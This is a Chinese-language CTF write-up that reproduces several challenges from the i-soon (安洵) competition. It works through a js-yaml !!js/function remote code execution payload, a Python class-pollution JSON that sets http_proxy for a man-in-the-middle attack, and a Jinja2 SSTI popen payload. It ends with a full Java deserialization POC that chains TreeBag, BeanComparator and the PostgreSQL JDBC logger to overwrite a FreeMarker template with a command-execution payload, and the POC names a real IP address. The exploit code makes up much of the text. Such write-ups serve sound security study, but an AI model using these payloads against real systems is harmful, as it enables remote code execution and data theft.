复现一下安洵的题目 这里就挑几道来复现就行了 复现地址的话在安洵平台上就可以

https://dce.i-soon.net/#/topicBank

直接访问就行了

signal

题目给了附件

⾸先这个题因为是把其他⽂件格式转换为yaml格式然后yaml.load()会加载为js对象

image-20231228160912485

然后就去查这个js-yaml是否存在漏洞 啥的

image-20231228161524180

这是默认为危险模式的最后⼀个版本,该模式允许您使⽤ tag 构造任意 JS 函数。!!js/function

直接去搜索js-yaml RCE 也能搜索到类似的文章

https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/

image-20231228161658733

最终payload

1
2
"name" : { toString: !!js/function "function(){ flag = process.mainModule.r
equire('child_process').execSync('cat /fla*').toString(); return flag;}"}

image-20231228162001138

Swagger docs

这个题是比较值得记录的

(这个是在设置http_proxy后 然后可以伪造返回信息的 记录学习一下)

image-20231228162830748

访问给了挺多api接口的 在/api-base/v0/search这个接口处 发现存在任意文件读取

image-20231228163029766

读取启动进程

然后将源码下载下来后进行审计

在update接口能 是存在一个python的原型链污染 熟悉的话应该能直接看出了

image-20231228163201826

在search接口的话是存在这个模板渲染的

image-20231228163251241

但是data不可控 因为他是访问服务器本地的api接口来获取文件

image-20231228163338058

所以我们想控制返回内容来进行模板渲染的话 我们可以污染环境变量http_proxy 来使自己的服务器来当作代理服务器 从而控制返回内容(就是类似于中间人攻击)

python原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15



{
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy":"ip:port"
}
}
}
}
}

image-20231228163625504

然后随便发送一个请求 if request.args.get('type') == "text": type必须为text 不然不会进到模板渲染里

1
2
3
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image-20231228163842734

这里就是我们伪造的响应包

image-20231228163900423

结果返回

ez_java

https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava 参考wp

这个题就是如何连接上CB的断链 就是找新的反序列化入口

image-20231228164517887

给的提示

image-20231228164542899

看下有依赖 发现是存在三个依赖 那么就是用这三个东西来组合打了

image-20231228164639422

在看了眼黑名单 发现是把jackson给过滤掉了 还把cb链的1前半段和后半段触发点给加黑名单了 那么就是用cb链和postgresql组合来打了

(给了docker 看了眼 jdk是高版本 那么jndi和rmi是打不了了)

前半段的话是PriorityQueue 用不了 那么我们就得找别的能序列化 并且能触发compare方法的类了

这里的话是有 treemap和treebag符合条件(这里使用treebag来演示)

image-20231228165256534

image-20231228165325399

这里的map 是指的treemap的实例化对象 跟进treemap的put方法

image-20231228165432706

image-20231228165448651

只要控制了这个comparator这个参数 那么我们就可以完全替代PriorityQueue

那么我们就剩最后一步了 就是这个getter 这里给的是这个postgresql 于是就猜测是打他的jdbc

image-20231228170624169

因为题目不出网 在加上给的源码中有个index.ftl 就不难想到是写入文件覆盖掉index.ftl里的内容

加上前面题目提示的BaseDataSource类 里面刚好是有个getconnection方法 于是链子就构造完成了

image-20231228170819795

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package com.ctf.axb;

//import com.google.gson.Gson;
import com.javasec.utils.SerializeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
//import org.apache.commons.collections.comparators.BooleanComparator;
//import org.apache.commons.collections.comparators.ComparableComparator;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections4.comparators.TransformingComparator;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections4.Transformer;
//import org.apache.commons.collections4.functors.InvokerTransformer;
//import org.junit.Test;
//import org.postgresql.ds.PGConnectionPoolDataSource;
//import org.springframework.context.support.ClassPathXmlApplicationContext;
//import org.springframework.context.support.FileSystemXmlApplicationContext;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.rmi.Naming;
import java.util.*;

public class demo {


// public void test() throws Exception {
// PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
// String loggerLevel = "debug";
// String loggerFile = "/app/templates/index.ftl";
// String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
// System.out.println(shellContent);
// String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
// pgConnectionPoolDataSource.setURL(jdbcUrl);
// pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
// BeanComparator comparator = new BeanComparator();
// SerializeUtils.setFieldValue(comparator, "property", "connection");
// TreeBag treeBag = new TreeBag(comparator);
// TreeMap<Object,Object> m = new TreeMap<>();
// SerializeUtils.setFieldValue(m, "size", 2);
// SerializeUtils.setFieldValue(m, "modCount", 2);
// Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
// Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
// nodeCons.setAccessible(true);
//
//
//
// Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
// Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
// Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
//
//
// SerializeUtils.setFieldValue(node, "right", right);
// SerializeUtils.setFieldValue(m, "root", node);
// SerializeUtils.setFieldValue(m, "comparator", comparator);
// SerializeUtils.setFieldValue(treeBag,"map",m);
// System.out.println(SerializeUtils.base64serial(treeBag));
// SerializeUtils.deserTester(treeBag);
// }

public static void main(String[] args) throws Exception{

PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"47.108.206.43:39201"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
BeanComparator comparator = new BeanComparator();
SerializeUtils.setFieldValue(comparator, "property", "connection");
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
SerializeUtils.setFieldValue(m, "size", 2);
SerializeUtils.setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);



Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);


SerializeUtils.setFieldValue(node, "right", right);
SerializeUtils.setFieldValue(m, "root", node);
SerializeUtils.setFieldValue(m, "comparator", comparator);
SerializeUtils.setFieldValue(treeBag,"map",m);
System.out.println(SerializeUtils.base64serial(treeBag));
SerializeUtils.deserTester(treeBag);

}
}

这里话解释上述代码中几个段的问题

image-20231228171546089

这里话就是实例化TreeMap类中的内部类Entry类 这个类的话是因为内部类 所以需要反射来进行实例化

1
Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");

这一步是对内部类的反射实例化 (只不过因为这个是protected 所以用这个createWithoutConstructor方法来实例化)

image-20231228172001962

image-20231228172910035

这两行的话就是给上面刚刚实例化的Entry内部类的构造函数进行赋值

image-20231228172957366

image-20231228174300711

ai_java

这个题就是SerializedData + LDAP攻击 然后打fastjson

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/#serializeddata--ldap%E6%94%BB%E5%87%BB

这篇文章写的不错